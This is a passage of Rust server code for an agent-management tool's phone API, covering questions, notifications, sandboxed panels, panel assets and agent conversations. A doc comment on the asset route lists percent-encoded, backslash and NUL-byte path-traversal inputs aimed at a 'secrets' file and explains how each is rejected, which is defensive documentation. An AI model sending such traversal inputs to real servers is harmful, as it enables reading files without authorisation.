5299    fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
5300        self.origin_chat = crate::consult::origin_talk(tasks, talks, &self.question).map(|t| t.id);
5301        self
5302    }
5303}
5304
5305/// The config this repository resolves, or `None` when it cannot be read.
5306/// Discovering is git processes plus a config render, so a request that needs
5307/// it for many items takes it once and passes it down.
5308fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5309    Config::discover(repo, None).ok().map(|(c, _)| c)
5310}
5311
5312/// Can `magi serve` start a deputy for this question under `cfg`?
5313fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5314    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5315}
5316
5317/// The views `GET /api/questions` answers. `load` runs at most once, however
5318/// many questions there are, and not at all when there are none.
5319fn question_views(
5320    qs: Vec<Question>,
5321    store: &ask::Questions,
5322    load: impl FnOnce() -> Option<Config>,
5323) -> Vec<QuestionView> {
5324    if qs.is_empty() {
5325        return Vec::new();
5326    }
5327    let cfg = load();
5328    qs.into_iter()
5329        .map(|q| {
5330            let on = deputies_enabled(cfg.as_ref(), &q);
5331            QuestionView::of(q, store, on)
5332        })
5333        .collect()
5334}
5335
5336/// Who is honestly waiting on an open question right now: `"asker"` (the
5337/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
5338/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
5339/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
5340/// up, or the question never had anyone listening (a conductor question or a
5341/// merge approval from before deputies, or not yet given one).
5342///
5343/// `None` for a question that is settled, and for one that is not an agent's
5344/// to wait on at all (a release notice).
5345fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
5346    if !q.status.open() {
5347        return None;
5348    }
5349    if q.cwd.is_none() && q.deputy.is_none() {
5350        return crate::deputy::kind_of(q).map(|_| "nobody");
5351    }
5352    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
5353        Some(_) if q.deputy.is_some() => "deputy",
5354        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
5355        Some(_) => "asker",
5356        None => "nobody",
5357    })
5358}
5359
5360/// `GET /api/questions`.
5361///
5362/// Everything, not just the open ones: an answered question is the record of a
5363/// decision, and the phone is where the operator goes back to check what they
5364/// told an agent at 3am. `ask::Questions::list` already ranks open first.
5365async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
5366    blocking(move || {
5367        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5368        Ok(Json(
5369            question_views(ui.questions.list(), &ui.questions, || {
5370                deputy_config(&ui.repo)
5371            })
5372            .into_iter()
5373            .map(|v| v.with_origin(&tasks, &talks))
5374            .collect(),
5375        ))
5376    })
5377    .await
5378}
5379
5380/// `GET /api/notifications`: not dismissed, newest first, with the unread
5381/// count so the badge and the list cannot disagree.
5382async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5383    blocking(move || {
5384        let items = ui.notices.list();
5385        let unread = items.iter().filter(|n| n.unread()).count();
5386        Ok(Json(
5387            serde_json::json!({ "unread": unread, "items": items }),
5388        ))
5389    })
5390    .await
5391}
5392
5393fn notice_error(e: anyhow::Error) -> ApiError {
5394    // An unknown or malformed id and a vanished file are the same answer to
5395    // the phone: that notification is gone.
5396    ApiError::not_found(format!("{e:#}"))
5397}
5398
5399/// `POST /api/notifications/{id}/read`.
5400async fn notification_read(
5401    State(ui): State<Arc<Ui>>,
5402    Path(id): Path<String>,
5403) -> ApiResult<Json<Notice>> {
5404    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5405}
5406
5407/// `POST /api/notifications/{id}/dismiss`.
5408async fn notification_dismiss(
5409    State(ui): State<Arc<Ui>>,
5410    Path(id): Path<String>,
5411) -> ApiResult<Json<Notice>> {
5412    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5413}
5414
5415/// `POST /api/notifications/read-all`.
5416async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5417    blocking(move || {
5418        let changed = ui.notices.mark_all_read()?;
5419        Ok(Json(serde_json::json!({ "marked": changed })))
5420    })
5421    .await
5422}
5423
5424/// The body of `POST /api/questions/{id}/answer`.
5425///
5426/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
5427/// a bad request rather than a guess: an answer magi invented is worse than a
5428/// question left open.
5429#[derive(Debug, Default, Deserialize)]
5430#[serde(default, deny_unknown_fields)]
5431struct NewAnswer {
5432    choice: Option<String>,
5433    text: Option<String>,
5434}
5435
5436async fn question_answer(
5437    State(ui): State<Arc<Ui>>,
5438    Path(id): Path<String>,
5439    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5440) -> ApiResult<Json<QuestionView>> {
5441    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5442    let answer = match (body.choice, body.text) {
5443        (Some(c), None) => Answer::Choice(c),
5444        (None, Some(t)) => Answer::Text(t),
5445        (Some(_), Some(_)) => {
5446            return Err(ApiError::bad_request(
5447                "send either `choice` or `text`, not both",
5448            ));
5449        }
5450        (None, None) => {
5451            return Err(ApiError::bad_request("send a `choice` or a `text`"));
5452        }
5453    };
5454
5455    blocking(move || {
5456        let id = resolve_question(&ui.questions, &id)?;
5457        let q = ui
5458            .questions
5459            .get(&id)
5460            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5461        if !q.status.open() {
5462            // Answered from the terminal, or by another phone, in between the
5463            // list and the tap. The UI shows the recorded answer rather than an
5464            // error, so it needs the record, not just the status.
5465            return Err(ApiError::conflict(format!(
5466                "question {} is already {}",
5467                q.short(),
5468                q.status.as_str()
5469            )));
5470        }
5471        // `Question::answer` owns the rules - an unoffered choice, free text on
5472        // a multiple-choice question, an empty reply - so the route does not
5473        // restate them and cannot drift from the CLI's behaviour.
5474        let (q, ()) = ui
5475            .questions
5476            .update(&q.id, |r| r.answer(answer))
5477            .map_err(ApiError::bad_request_from)?;
5478        let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5479        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5480        Ok(Json(
5481            QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5482        ))
5483    })
5484    .await
5485}
5486
5487/// The body of `POST /api/questions/{id}/say`.
5488#[derive(Debug, Deserialize)]
5489#[serde(deny_unknown_fields)]
5490struct NewSay {
5491    body: String,
5492}
5493
5494/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
5495///
5496/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
5497/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
5498/// file, so there is no turn to serialize against and no
5499/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
5500/// is a *different* process - the run parked behind `magi ask` - and picks
5501/// the reply up on its own poll of the very same file, same as an answer
5502/// does.
5503async fn question_say(
5504    State(ui): State<Arc<Ui>>,
5505    Path(id): Path<String>,
5506    body: std::result::Result<Json<NewSay>, JsonRejection>,
5507) -> ApiResult<Json<QuestionView>> {
5508    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5509    blocking(move || {
5510        let id = resolve_question(&ui.questions, &id)?;
5511        let q = ui
5512            .questions
5513            .get(&id)
5514            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5515        if !q.status.open() {
5516            // Same granularity as `question_answer`: answered or abandoned in
5517            // between the list and the tap is not this route's error to
5518            // explain any differently.
5519            return Err(ApiError::conflict(format!(
5520                "question {} is already {}",
5521                q.short(),
5522                q.status.as_str()
5523            )));
5524        }
5525        // `Question::say` owns the one rule that matters here - an empty
5526        // message tells the agent nothing - so the route does not restate it.
5527        let (q, ()) = ui
5528            .questions
5529            .update(&q.id, |r| r.say(body.body))
5530            .map_err(ApiError::bad_request_from)?;
5531        let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5532        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5533        Ok(Json(
5534            QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5535        ))
5536    })
5537    .await
5538}
5539
5540/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
5541/// came from. The question stays open: the chat agent answers it with `magi
5542/// answer`, or puts the decision to the owner in the conversation.
5543///
5544/// Answers 202 and runs the turn in the background, like every route that
5545/// spends agent calls. The text is queued as a draft of the existing talk, and
5546/// the turn goes through the talk's own gate and session; no seat or waiter is
5547/// started here.
5548async fn question_consult(
5549    State(ui): State<Arc<Ui>>,
5550    Path(id): Path<String>,
5551) -> ApiResult<(StatusCode, Json<QuestionView>)> {
5552    let (view, reclaimed) = blocking({
5553        let ui = Arc::clone(&ui);
5554        move || {
5555            let id = resolve_question(&ui.questions, &id)?;
5556            let q = ui
5557                .questions
5558                .get(&id)
5559                .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5560            if !q.status.open() {
5561                return Err(ApiError::conflict(format!(
5562                    "question {} is already {}",
5563                    q.short(),
5564                    q.status.as_str()
5565                )));
5566            }
5567            let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5568            let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
5569                return Err(ApiError::conflict(format!(
5570                    "question {} has no open chat to ask",
5571                    q.short()
5572                )));
5573            };
5574            // Read the config before `begin` saves anything: a failure here
5575            // must leave no consult record or draft behind, or a retry would
5576            // see `fresh == false` and never start the turn.
5577            let cfg = if q.consult.is_none() {
5578                Some(Config::discover(&talk.repo, None)?.0)
5579            } else {
5580                None
5581            };
5582            let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
5583            let claim = if fresh {
5584                match ui.begin_queued_talk_turn(&talk.id)? {
5585                    Some(turn_guard) => {
5586                        let talk = ui.talks.get(&talk.id)?;
5587                        let cfg = match cfg {
5588                            Some(cfg) => cfg,
5589                            None => Config::discover(&talk.repo, None)?.0,
5590                        };
5591                        Some((talk, cfg, turn_guard))
5592                    }
5593                    None => None,
5594                }
5595            } else {
5596                None
5597            };
5598            let q = ui.questions.get(&q.id)?;
5599            let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5600            let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
5601            Ok((view, claim))
5602        }
5603    })
5604    .await?;
5605    if let Some((talk, cfg, turn_guard)) = reclaimed {
5606        let talks = ui.talks.clone();
5607        let id = talk.id.clone();
5608        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
5609    }
5610    Ok((StatusCode::ACCEPTED, Json(view)))
5611}
5612
5613/// Expand an id or short id to exactly one question id.
5614fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
5615    if store.path_of(id).is_file() {
5616        return Ok(id.to_owned());
5617    }
5618    pick(
5619        store.list().into_iter().map(|q| q.id).collect(),
5620        id,
5621        "question",
5622    )
5623}
5624
5625/// `GET /api/questions/{id}/panel`.
5626///
5627/// The panel an agent wrote for this question, as `text/html` under
5628/// [`PANEL_CSP`], for the front end to mount in a token-less sandboxed iframe.
5629/// A question without one is a 404 rather than an empty page: the client
5630/// preflights this route with `HEAD` and must be able to tell "no panel" from
5631/// "a panel that rendered blank", and a sandboxed frame is opaque to the
5632/// parent document so it cannot tell the difference by looking.
5633///
5634/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
5635/// sanitises or minifies it - a sanitiser is a list of things someone thought
5636/// of, and the sandbox plus the CSP is a list of things that are allowed, which
5637/// is the direction that stays safe when an agent writes markup nobody
5638/// predicted.
5639async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
5640    blocking(move || {
5641        let id = resolve_question(&ui.questions, &id)?;
5642        let Some(html) = ui.questions.panel_html(&id) else {
5643            return Err(ApiError::not_found(format!("question {id} has no panel")));
5644        };
5645        Ok(panel_response(
5646            "text/html; charset=utf-8",
5647            false,
5648            html.into_bytes(),
5649        ))
5650    })
5651    .await
5652}
5653
5654/// `GET /api/questions/{id}/asset/{name}`.
5655///
5656/// One file from the question's own panel directory, so a panel can show a
5657/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
5658/// having to allow anything off this machine.
5659///
5660/// This is the only route in the server where a client names a file, so it is
5661/// the only one with a traversal surface, and the name is checked by
5662/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
5663/// what is worth being explicit about, because the answer is not "all of it in
5664/// one place":
5665///
5666/// * `asset/../../secrets` never reaches this handler at all. axum matches on
5667///   the raw request path and `{name}` spans exactly one segment, so a real
5668///   slash makes the request too long for the route and the router answers 404.
5669/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
5670///   percent-decodes path parameters, so `name` arrives as `../secrets` and
5671///   `..\secrets` respectively, which look like plain filenames to the router.
5672///   The validator refuses them here - both for the literal `..` and because
5673///   `/` and `\` are not in the permitted character set - and answers 400.
5674/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
5675///   the platform's path API is not, and it is refused here for the same
5676///   reason: NUL is not a permitted character.
5677/// * [`Questions::panel_asset`] validates again on read, so the check is not
5678///   load-bearing in only one place. This route's own check exists so the
5679///   failure is a 400 that says which name was wrong, rather than a store error
5680///   the operator has to interpret.
5681async fn question_asset(
5682    State(ui): State<Arc<Ui>>,
5683    Path((id, name)): Path<(String, String)>,
5684) -> ApiResult<Response> {
5685    // Before any filesystem work and before any path is built: a name this
5686    // server will not serve should not become a `PathBuf` at all.
5687    if !crate::ask::valid_asset_name(&name) {
5688        return Err(ApiError::bad_request(format!(
5689            "`{name}` is not a usable asset name"
5690        )));
5691    }
5692    blocking(move || {
5693        let id = resolve_question(&ui.questions, &id)?;
5694        let asset = ui
5695            .questions
5696            .panel_asset(&id, &name)
5697            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
5698        let Some(bytes) = asset else {
5699            return Err(ApiError::not_found(format!(
5700                "question {id} has no asset `{name}`"
5701            )));
5702        };
5703        Ok(panel_response(
5704            asset_content_type(&name),
5705            is_svg(&name),
5706            bytes,
5707        ))
5708    })
5709    .await
5710}
5711
5712/// Content type for a panel asset, from a closed whitelist.
5713///
5714/// A whitelist with an `application/octet-stream` fallback rather than a
5715/// guess, because the one answer that must never come out of here is
5716/// `text/html`. An agent that writes `notes.html` into its panel directory and
5717/// links it would otherwise get its own markup rendered at the top level of the
5718/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
5719/// magi's origin - which is precisely the thing the panel design exists to
5720/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
5721///
5722/// `nosniff` accompanies this on every response, so a browser cannot decide it
5723/// knows better than the type we sent.
5724fn asset_content_type(name: &str) -> &'static str {
5725    match extension(name).as_deref() {
5726        Some("png") => "image/png",
5727        Some("jpg" | "jpeg") => "image/jpeg",
5728        Some("gif") => "image/gif",
5729        Some("webp") => "image/webp",
5730        Some("svg") => "image/svg+xml",
5731        Some("css") => "text/css; charset=utf-8",
5732        Some("txt") => "text/plain; charset=utf-8",
5733        _ => "application/octet-stream",
5734    }
5735}
5736
5737/// Is this an SVG, and therefore a file that must never be opened at the top
5738/// level?
5739fn is_svg(name: &str) -> bool {
5740    extension(name).as_deref() == Some("svg")
5741}
5742
5743/// Lowercased extension, or `None` for a name without one.
5744fn extension(name: &str) -> Option<String> {
5745    name.rsplit_once('.')
5746        .map(|(_, ext)| ext.to_ascii_lowercase())
5747}
5748
5749/// Every panel response, with the four headers that make it safe and, for an
5750/// SVG, a fifth.
5751///
5752/// One function rather than a header list per handler, because a panel route
5753/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
5754/// model gone, silently, on one of two routes. Adding a third panel route later
5755/// means calling this, and there is nowhere else to build a panel response.
5756///
5757/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
5758/// as an `<img src>` inside the panel that script cannot run - but the asset
5759/// URL is also a plain URL an operator can be talked into opening in a tab,
5760/// where it is a document on magi's own origin. `Content-Disposition:
5761/// attachment` makes the browser download it instead of rendering it, which
5762/// closes that door without taking away the ability to draw a diff. Raster
5763/// images have no such execution surface and are left inline, so tapping a
5764/// screenshot still shows it.
5765fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
5766    let mut res = (
5767        [
5768            (header::CONTENT_TYPE, content_type),
5769            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
5770            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5771            (header::REFERRER_POLICY, "no-referrer"),
5772        ],
5773        body,
5774    )
5775        .into_response();
5776    if download {
5777        res.headers_mut().insert(
5778            header::CONTENT_DISPOSITION,
5779            HeaderValue::from_static("attachment"),
5780        );
5781    }
5782    res
5783}
5784
5785/// A talk as the phone reads it.
5786///
5787/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
5788/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
5789/// parses markdown itself - and the process-local `thinking` hint.
5790#[derive(Debug, Serialize)]
5791struct TalkView {
5792    #[serde(flatten)]
5793    talk: Talk,
5794    turn_bodies_md: Vec<Vec<md::Node>>,
5795    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
5796    /// this server process.
5797    ///
5798    /// This is deliberately not durable: another server process cannot see
5799    /// it, and a restarted server must not claim an old turn is live. It is a
5800    /// progress hint rather than proof a reply landed; the transcript remains
5801    /// the source of truth for that.
5802    thinking: bool,
5803    /// Context-window usage, derived per request - see
5804    /// [`talk::context_usage`]. Carried on every talk response (list, detail
5805    /// and each mutation) so the phone needs no extra call or polling.
5806    context: talk::ContextUsage,
5807}
5808
5809impl TalkView {
5810    /// Reads the talk's repository config itself; a config that cannot be
5811    /// read leaves the window unknown but never fails the conversation.
5812    fn new(talk: Talk, thinking: bool) -> Self {
5813        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
5814        Self::with_config(talk, thinking, cfg.as_ref())
5815    }
5816
5817    /// As [`Self::new`], with the config already in hand (the list reads one
5818    /// per repository, not one per conversation).
5819    fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
5820        let context = talk::context_usage(&talk, cfg);
5821        let turn_bodies_md = talk
5822            .turns
5823            .iter()
5824            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
5825            .collect();
5826        Self {
5827            turn_bodies_md,
5828            thinking,
5829            context,
5830            talk,
5831        }
5832    }
5833}
5834
5835/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
5836/// conversation has filed, so the phone can follow one from inside the
5837/// conversation that asked for it rather than hunting the Queue for a task id
5838/// it may not remember.
5839#[derive(Debug, Serialize)]
5840struct TalkDetailView {
5841    #[serde(flatten)]
5842    view: TalkView,
5843    tasks: Vec<TaskView>,
5844    /// The agents this talk's repository can switch to; empty when its
5845    /// configuration cannot be read, which must not fail the whole detail.
5846    roster: Vec<RosterEntry>,
5847}
5848
5849/// One roster agent as the talk's agent selector shows it.
5850#[derive(Debug, Serialize)]
5851struct RosterEntry {
5852    id: String,
5853    kind: AgentKind,
5854    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
5855    runnable: bool,
5856}
5857
5858/// `GET /api/talks`.
5859///
5860/// Every conversation, open ones first and newest first - [`Talks::list`]'s
5861/// own order.
5862async fn talks_list(
5863    State(ui): State<Arc<Ui>>,
5864    Query(q): Query<ListQuery>,
5865) -> ApiResult<Json<Vec<TalkView>>> {
5866    blocking(move || {
5867        let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
5868        Ok(Json(
5869            ui.talks
5870                .list()
5871                .into_iter()
5872                .filter(|talk| q.contains(&talk.id))
5873                .map(|talk| {
5874                    let thinking = ui.is_thinking(&talk.id);
5875                    let cfg = configs
5876                        .entry(talk.repo.clone())
5877                        .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
5878                    TalkView::with_config(talk, thinking, cfg.as_ref())
5879                })
5880                .collect(),
5881        ))
5882    })
5883    .await
5884}
5885
5886/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
5887/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
5888/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
5889/// end still opens a talk against an older binary.
5890#[derive(Debug, Default, Deserialize)]
5891#[serde(default)]
5892struct NewTalk {
5893    agent: Option<String>,
5894    repo: Option<PathBuf>,
5895}
5896
5897/// `POST /api/talks` - open a conversation. Takes no agent turn: see
5898/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
5899async fn talk_post(
5900    State(ui): State<Arc<Ui>>,
5901    body: std::result::Result<Json<NewTalk>, JsonRejection>,
5902) -> ApiResult<impl IntoResponse> {
5903    // An absent body, or an empty one, is the normal way to open a talk - see
5904    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
5905    // rather than refused.
5906    let body = match body {
5907        Ok(Json(body)) => body,
5908        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
5909        Err(e) => return Err(ApiError::bad_request(e.body_text())),
5910    };
5911    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
5912    let cfg = config_for(&repo).await?;
5913    let view = blocking(move || {
5914        let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
5915        let thinking = ui.is_thinking(&talk.id);
5916        Ok(TalkView::new(talk, thinking))
5917    })
5918    .await?;
5919    Ok((StatusCode::CREATED, Json(view)))
5920}
5921
5922/// `GET /api/talks/{id}`.
5923async fn talk_detail(
5924    State(ui): State<Arc<Ui>>,
5925    Path(id): Path<String>,
5926) -> ApiResult<Json<TalkDetailView>> {
5927    blocking(move || {
5928        let id = resolve_talk(&ui.talks, &id)?;
5929        let talk = ui.talks.get(&id)?;
5930        let thinking = ui.is_thinking(&talk.id);
5931        let tasks = talk::tasks_of(&ui.queue, &talk.id)
5932            .into_iter()
5933            .map(TaskView::from)
5934            .collect();
5935        let roster = Config::discover(&talk.repo, None)
5936            .map(|(cfg, _)| {
5937                cfg.agents
5938                    .iter()
5939                    .map(|a| RosterEntry {
5940                        id: a.id.clone(),
5941                        kind: a.kind,
5942                        runnable: agent::installed(a),
5943                    })
5944                    .collect()
5945            })
5946            .unwrap_or_default();
5947        Ok(Json(TalkDetailView {
5948            view: TalkView::new(talk, thinking),
5949            tasks,
5950            roster,
5951        }))
5952    })
5953    .await
5954}
5955
5956/// The body of `POST /api/talks/{id}/say`.
5957///
5958/// `attachments` names ids `POST /api/talks/{id}/attachments` already
5959/// returned - never bytes of its own - so a turn with no images just omits
5960/// the field, which is what an older front end still does.
5961#[derive(Debug, Default, Deserialize)]
5962#[serde(default, deny_unknown_fields)]
5963struct NewTalkTurn {
5964    text: String,
5965    attachments: Vec<String>,
5966}
5967
5968#[derive(Debug, Deserialize)]
5969#[serde(deny_unknown_fields)]
5970struct EditTalkPending {
5971    text: String,
5972    expected_text: String,
5973    expected_attachments: Vec<String>,
5974}
5975
5976#[derive(Debug, Deserialize)]
5977#[serde(deny_unknown_fields)]
5978struct ClearTalkPending {
5979    expected_text: String,
5980    expected_attachments: Vec<String>,
5981}
5982
5983/// `POST /api/talks/{id}/say` - one turn of the conversation.
5984///
5985/// Not filesystem work, and therefore not routed through [`blocking`]: this
5986/// route spawns an agent CLI and a turn here can run for the whole of
5987/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
5988/// research turn is expected to run commands rather than answer from what it
5989/// already knows. Holding an HTTP connection open that long is not a thing
5990/// to ask a phone to do; the operator's message is recorded and answered for
5991/// immediately, and the reply lands in the background, discovered through
5992/// the change stream's `talks_rev` the same way every other update on this
5993/// surface is.
5994async fn talk_say(
5995    State(ui): State<Arc<Ui>>,
5996    Path(id): Path<String>,
5997    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
5998) -> ApiResult<(StatusCode, Json<TalkView>)> {
5999    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6000    if body.text.trim().is_empty() && body.attachments.is_empty() {
6001        return Err(ApiError::bad_request("say something"));
6002    }
6003
6004    let id = {
6005        let ui = Arc::clone(&ui);
6006        let asked = id.clone();
6007        blocking(move || resolve_talk(&ui.talks, &asked)).await?
6008    };
6009    // A closed Talk never accepts a new immediate or queued turn. Check this
6010    // before claiming a slot so its ordinary domain refusal is a 409, not an
6011    // incidental failure from the later record/queue write.
6012    {
6013        let ui = Arc::clone(&ui);
6014        let id = id.clone();
6015        blocking(move || {
6016            let talk = ui.talks.get(&id)?;
6017            if !talk.status.open() {
6018                return Err(ApiError::conflict(format!(
6019                    "talk {} is {} and takes no more turns",
6020                    talk.short(),
6021                    talk.status.as_str()
6022                )));
6023            }
6024            Ok(())
6025        })
6026        .await?;
6027    }
6028
6029    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
6030    // actually stores, before anything is written - an unknown id is a 4xx
6031    // that names it rather than a turn (or a queued draft) silently missing
6032    // an image.
6033    let attachments = {
6034        let ui = Arc::clone(&ui);
6035        let id = id.clone();
6036        let ids = body.attachments.clone();
6037        blocking(move || {
6038            ids.into_iter()
6039                .map(|att_id| {
6040                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
6041                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
6042                    })
6043                })
6044                .collect::<ApiResult<Vec<talk::Attachment>>>()
6045        })
6046        .await?
6047    };
6048
6049    // Pending recovery and a new immediate turn are decided under the same
6050    // claim lock. Without that one critical section, a second `/say` can see
6051    // the first request's claim as "busy" and append itself to the recovered
6052    // draft before the first request rejects it.
6053    let start = {
6054        let ui = Arc::clone(&ui);
6055        let id = id.clone();
6056        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
6057    };
6058    let turn_guard = match start {
6059        TalkTurnStart::Claimed(turn_guard) => turn_guard,
6060        TalkTurnStart::Pending => {
6061            return Err(ApiError::conflict(
6062                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
6063            ));
6064        }
6065        TalkTurnStart::Busy => {
6066            // A turn is already running: queue rather than refuse. See
6067            // `Ui::begin_talk_turn` and `talk::queue`.
6068            //
6069            // The queue write and the drain it may owe live inside the task
6070            // `tokio::spawn` hands to the runtime, for the same reason the
6071            // immediate path below puts `record` there: a dropped handler
6072            // future must not be able to land between a durable write and
6073            // the task that answers it. `blocking` runs its closure on
6074            // `spawn_blocking`, which finishes whether or not anyone is left
6075            // to receive its result - so a disconnect at the `.await` below
6076            // would otherwise leave the draft persisted and the reclaimed
6077            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
6078            // ever started and the queued text stranded until some later
6079            // `say` happened to pick it up. The caller's 202 travels back
6080            // over a `oneshot`, sent the moment the write lands.
6081            let (tx, rx) = tokio::sync::oneshot::channel();
6082            tokio::spawn({
6083                let ui = Arc::clone(&ui);
6084                let id = id.clone();
6085                let said = body.text.clone();
6086                async move {
6087                    let written = blocking({
6088                        let ui = Arc::clone(&ui);
6089                        let id = id.clone();
6090                        move || {
6091                            let mut talk = ui.talks.get(&id)?;
6092                            // A test-only stop point, right before the write
6093                            // an interleaving test needs to pin - see
6094                            // `BusyQueueGate`. `None` in every real server:
6095                            // the field only exists under `#[cfg(test)]`.
6096                            #[cfg(test)]
6097                            if let Some(gate) = ui
6098                                .busy_queue_gate
6099                                .lock()
6100                                .unwrap_or_else(PoisonError::into_inner)
6101                                .take()
6102                            {
6103                                let _ = gate.reached.send(());
6104                                let _ = gate.release.recv();
6105                            }
6106                            if let Err(error) =
6107                                talk::queue(&mut talk, &ui.talks, &said, attachments)
6108                            {
6109                                if let Ok(fresh) = ui.talks.get(&id) {
6110                                    if !fresh.status.open() {
6111                                        return Err(ApiError::conflict(format!(
6112                                            "talk {} is {} and takes no more turns",
6113                                            fresh.short(),
6114                                            fresh.status.as_str()
6115                                        )));
6116                                    }
6117                                }
6118                                return Err(ApiError::from(error));
6119                            }
6120                            // The turn that looked busy a moment ago can have
6121                            // finished, found nothing to drain and given up the
6122                            // slot in the gap between that check and this write
6123                            // landing - see `drain_loop`'s own doc for the other
6124                            // half of why that gap would otherwise be able to
6125                            // open at all. Reclaiming the slot here, rather than
6126                            // trusting that whoever held it is still watching, is
6127                            // what stops the text just queued from being stranded
6128                            // until an unrelated future `say` happens to drain
6129                            // it.
6130                            let claim = match ui.begin_queued_talk_turn(&id)? {
6131                                Some(turn_guard) => {
6132                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
6133                                    Some((talk.clone(), cfg, turn_guard))
6134                                }
6135                                None => None,
6136                            };
6137                            let thinking = ui.is_thinking(&id);
6138                            Ok((TalkView::new(talk, thinking), claim))
6139                        }
6140                    })
6141                    .await;
6142                    let (view, reclaimed) = match written {
6143                        Ok(pair) => pair,
6144                        Err(e) => {
6145                            // Nobody is listening if the handler's own future
6146                            // was already dropped - that is fine, nothing was
6147                            // persisted and there is no response left to carry
6148                            // this error to.
6149                            let _ = tx.send(Err(e));
6150                            return;
6151                        }
6152                    };
6153                    // If this fails, the caller is gone; the drain below still
6154                    // runs exactly as it would have for a caller that stayed.
6155                    let _ = tx.send(Ok(view));
6156                    if let Some((talk, cfg, turn_guard)) = reclaimed {
6157                        let talks = ui.talks.clone();
6158                        drain_loop(talk, talks, cfg, id, turn_guard).await;
6159                    }
6160                }
6161            });
6162            let view = rx
6163                .await
6164                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6165            return Ok((StatusCode::ACCEPTED, Json(view)));
6166        }
6167    };
6168
6169    let (talk, cfg) = {
6170        let ui = Arc::clone(&ui);
6171        let id = id.clone();
